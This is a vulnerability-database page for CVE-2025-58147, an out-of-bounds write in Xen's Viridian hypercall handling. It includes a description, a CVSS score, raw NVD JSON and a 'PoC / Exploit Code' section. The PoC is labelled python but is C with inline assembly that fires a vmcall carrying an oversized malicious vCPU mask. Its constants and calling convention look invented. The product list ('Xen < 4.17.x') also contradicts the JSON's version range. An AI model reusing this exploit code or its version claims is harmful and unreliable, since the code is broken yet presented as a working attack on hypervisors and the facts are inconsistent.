Security Vulnerability Report
中文
CVE-2025-58147 CVSS 7.5 HIGH

CVE-2025-58147

Published: 2025-10-31 12:15:35
Last Modified: 2026-01-14 22:03:19

Description

[This CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Some Viridian hypercalls can specify a mask of vCPU IDs as an input, in one of three formats. Xen has boundary checking bugs with all three formats, which can cause out-of-bounds reads and writes while processing the inputs. * CVE-2025-58147. Hypercalls using the HV_VP_SET Sparse format can cause vpmask_set() to write out of bounds when converting the bitmap to Xen's format. * CVE-2025-58148. Hypercalls using any input format can cause send_ipi() to read d->vcpu[] out-of-bounds, and operate on a wild vCPU pointer.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:xen:xen:*:*:*:*:*:*:*:* - VULNERABLE
Xen < 4.17.x (with Viridian support)
Xen < 4.16.x (with Viridian support)
Xen < 4.15.x (with Viridian support)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-58147 - Xen Viridian vpmask_set out-of-bounds write // This is a conceptual PoC demonstrating the vulnerability #include <stdint.h> #include <string.h> // Xen hypercall numbers #define __HYPERVISOR_viridian_call 0x49 // Viridian hypercall IDs #define HV_VP_SET 0x004 // HV_VP_SET format flags #define HV_VP_SET_SPARSE 0x02 // Structure for Viridian hypercall input struct xen_viridian_call { uint32_t call_code; uint32_t input_param; uint64_t output_param; }; // Malicious vCPU mask that triggers out-of-bounds write // The sparse format allows specifying non-contiguous vCPU IDs void exploit_viridian_oob_write(void) { struct xen_viridian_call call; uint64_t vcpu_mask_buffer[64]; // Maliciously large mask // Initialize with values that exceed vCPU count memset(vcpu_mask_buffer, 0xFF, sizeof(vcpu_mask_buffer)); // Setup hypercall to trigger vpmask_set() with sparse format call.call_code = HV_VP_SET; call.input_param = HV_VP_SET_SPARSE; // Use sparse format call.output_param = (uint64_t)&vcpu_mask_buffer; // Trigger hypercall - will cause OOB write in vpmask_set() // This should crash the VM or allow memory corruption asm volatile ( "mov rax, %0;\n" "mov rdi, %1;\n" "vmcall;\n" : : "i"(__HYPERVISOR_viridian_call), "r"(&call) : "rax", "rdi", "memory" ); } // Note: Actual exploitation requires specific Xen version and configuration // This PoC is for educational/research purposes only

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58147", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:34.590", "lastModified": "2026-01-14T22:03:18.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "[This CNA information record relates to multiple CVEs; the\ntext explains which aspects/vulnerabilities correspond to which CVE.]\n\nSome Viridian hypercalls can specify a mask of vCPU IDs as an input, in\none of three formats. Xen has boundary checking bugs with all three\nformats, which can cause out-of-bounds reads and writes while processing\nthe inputs.\n\n * CVE-2025-58147. Hypercalls using the HV_VP_SET Sparse format can\n cause vpmask_set() to write out of bounds when converting the bitmap\n to Xen's format.\n\n * CVE-2025-58148. Hypercalls using any input format can cause\n send_ipi() to read d->vcpu[] out-of-bounds, and operate on a wild\n vCPU pointer."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:xen:xen:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15.0", "matchCriteriaId": "E77C52A9-C85D-4198-B397-2F7BF859CBE7"}]}]}], "references": [{"url": "https://xenbits.xenproject.org/xsa/advisory-475.html", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/21/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch", "Third Party Advisory"]}, {"url": "http://xenbits.xen.org/xsa/advisory-475.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Patch", "Vendor Advisory"]}]}}